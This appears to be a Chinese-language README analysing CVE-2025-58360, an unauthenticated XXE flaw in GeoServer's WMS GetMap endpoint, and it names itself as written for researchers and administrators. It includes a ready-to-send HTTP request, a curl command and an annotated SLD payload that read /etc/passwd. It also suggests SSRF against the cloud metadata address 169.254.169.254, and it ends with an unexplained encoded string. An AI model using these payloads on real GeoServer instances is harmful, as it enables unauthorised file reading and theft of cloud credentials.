📌 项目标题与描述
本项目提供了针对CVE-2025-58360漏洞的详细技术分析。CVE-2025-58360是GeoServer(一个开源的地理空间服务器)Web Map Service (WMS) GetMap端点中存在的一个高危XML外部实体(XXE)注入漏洞(CWE-611)。攻击者在无需任何身份认证的情况下,可利用此漏洞读取服务器上的任意文件(如 /etc/passwd、配置文件、私钥),进行服务器端请求伪造(SSRF)以探测内网或访问云元数据服务,甚至通过实体扩展攻击引发拒绝服务(DoS)。本分析旨在帮助安全研究人员和系统管理员理解漏洞原理、识别受影响版本并采取缓解措施。
状态信息
- CVSS v3.1 评分: 7.5 (
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L) - 公开利用情况:截至2025年11月26日,暂未在野外观察到利用,但已有公开的概念验证(PoC)代码。
✨ 功能特性
- 详细的漏洞剖析:深入解释XXE漏洞在GeoServer WMS GetMap端点中的触发点与利用方式。
- 影响范围精确界定:明确列出所有受影响的GeoServer版本(包括独立部署版、Docker镜像及Maven组件)。
- 核心利用代码示例:提供经过分析的、可直接演示漏洞利用原理的关键代码片段。
- 安全影响评估:
- 📂 任意文件读取:获取GeoServer进程权限可访问的任意系统文件。
- 🌐 服务器端请求伪造(SSRF):攻击内部网络或云服务元数据端点。
- 💣 拒绝服务(DoS):通过“亿次笑声”等实体扩展攻击耗尽服务器资源。
- 🔗 潜在攻击链:可能与其他配置缺陷结合,导致更严重的后果。
- 针对性信息:专为渗透测试人员、安全研究员和负责GeoServer部署的系统管理员设计。
📥 安装指南
本项目为漏洞分析文档,不涉及软件安装。若要搭建测试环境以复现或研究此漏洞,请参考以下通用步骤:
-
环境前提:
- 确保系统已安装 Java 运行环境(JRE/JDK)。
- 准备受影响的GeoServer版本(例如:
2.26.0、2.26.1或2.25.5及以下版本)。
-
获取受影响的GeoServer:
- 从 GeoServer官网 或 GitHub发布页 下载对应的漏洞版本。
- 或者,使用包含漏洞版本的Docker镜像(如
osgeo/geoserver:2.26.0)。
-
启动GeoServer:
- 对于独立部署,解压后运行
bin/startup.sh(Linux/macOS) 或bin/startup.bat(Windows)。 - 对于Docker,运行命令:
docker run -p 8080:8080 osgeo/geoserver:2.26.0
- 对于独立部署,解压后运行
-
验证部署:访问
http://localhost:8080/geoserver,应能看到GeoServer的Web管理界面。
⚠️ 重要警告:此环境仅限用于授权的安全研究、测试或教育目的。请勿在未授权的生产或公共系统上使用。
🚀 使用说明
以下是一个基于漏洞原理构造的、用于概念验证(PoC) 的HTTP请求示例。它演示了如何通过向存在漏洞的WMS GetMap端点发送特制XML数据来触发XXE,尝试读取服务器上的 /etc/passwd 文件。
基础利用示例:
向GeoServer的WMS服务发送一个 POST 请求,其中 SLD_BODY 参数包含了恶意的XML外部实体声明。
POST /geoserver/wms?service=WMS&version=1.1.0&request=GetMap&layers=geoserver:states&styles=&bbox=-180,-90,180,90&width=768&height=384&srs=EPSG:4326&format=image/png HTTP/1.1
Host: vulnerable-geoserver-host:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: [计算长度]
SLD_BODY=<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<Name>test</Name>
<UserStyle>
<FeatureTypeStyle>
<Rule>
<PolygonSymbolizer>
<Fill>
<CssParameter name="fill">&xxe;</CssParameter>
</Fill>
</PolygonSymbolizer>
</Rule>
</FeatureTypeStyle>
</UserStyle>
</NamedLayer>
</StyledLayerDescriptor>
使用 cURL 进行测试:
curl -X POST "http://localhost:8080/geoserver/wms" \
-d "service=WMS&version=1.1.0&request=GetMap&layers=geoserver:states&styles=&bbox=-180,-90,180,90&width=768&height=384&srs=EPSG:4326&format=image/png" \
--data-urlencode "SLD_BODY=<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><StyledLayerDescriptor version='1.0.0'><NamedLayer><Name>test</Name><UserStyle><FeatureTypeStyle><Rule><PolygonSymbolizer><Fill><CssParameter name='fill'>&xxe;</CssParameter></Fill></PolygonSymbolizer></Rule></FeatureTypeStyle></UserStyle></NamedLayer></StyledLayerDescriptor>" \
-H "Content-Type: application/x-www-form-urlencoded"
典型场景:
- 信息收集:读取服务器配置文件、日志或密钥,为进一步渗透做准备。
- 内网探测:通过SSRF访问
http://169.254.169.254/latest/meta-data/等内部地址,获取云实例的元数据。 - 漏洞验证:安全团队使用此PoC验证自身管理的GeoServer实例是否已受到修复。
API/端点概览:
- 漏洞端点:
POST /geoserver/wms - 关键参数:
SLD_BODY(Styled Layer Descriptor),其内容作为XML被解析且未正确禁用外部实体。
💻 核心代码
以下代码段模拟了漏洞触发的核心逻辑。它并非GeoServer的实际源代码,而是为了清晰展示攻击载荷如何通过 SLD_BODY 参数被解析并执行。
代码片段 1: 恶意SLD (Styled Layer Descriptor) 载荷
此XML定义了外部实体 xxe,指向 file:///etc/passwd,并尝试在 <CssParameter> 标签中引用该实体以泄露文件内容。
<!-- CVE-2025-58360 - 恶意SLD载荷示例 -->
<?xml version="1.0"?>
<!DOCTYPE exploit [
<!-- 定义外部实体“xxe”,其内容来自服务器本地的/etc/passwd文件 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">
<NamedLayer>
<Name>vulnerable_layer</Name>
<UserStyle>
<FeatureTypeStyle>
<Rule>
<PolygonSymbolizer>
<Fill>
<!-- 关键攻击点:在此处引用外部实体,解析时文件内容会被注入 -->
<CssParameter name="fill">&xxe;</CssParameter>
</Fill>
</PolygonSymbolizer>
</Rule>
</FeatureTypeStyle>
</UserStyle>
</NamedLayer>
</StyledLayerDescriptor>
代码片段 2: 简化的漏洞触发逻辑(概念模型) 这段伪代码说明了GeoServer在处理WMS GetMap请求时可能存在的缺陷流程。
// 概念性代码:展示WMS GetMap端点处理SLD_BODY的逻辑漏洞
public void handleGetMapRequest(HttpServletRequest request) {
String sldBody = request.getParameter("SLD_BODY");
if (sldBody != null) {
try {
// 漏洞根源:在此处解析XML时,未禁用外部实体(XXE)加载
// 正确的做法应设置:documentBuilderFactory.setExpandEntityReferences(false);
// documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder(); // 危险!默认配置可能允许XXE
// 解析用户控制的SLD_BODY字符串
Document doc = builder.parse(new InputSource(new StringReader(sldBody)));
// 后续使用doc进行样式渲染...
renderMapWithSLD(doc);
} catch (ParserConfigurationException | SAXException | IOException e) {
// 处理异常,但攻击载荷可能已执行
log.error("Failed to parse SLD", e);
}
}
}
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPIHIzgtN2mc+MkTYbuNsUj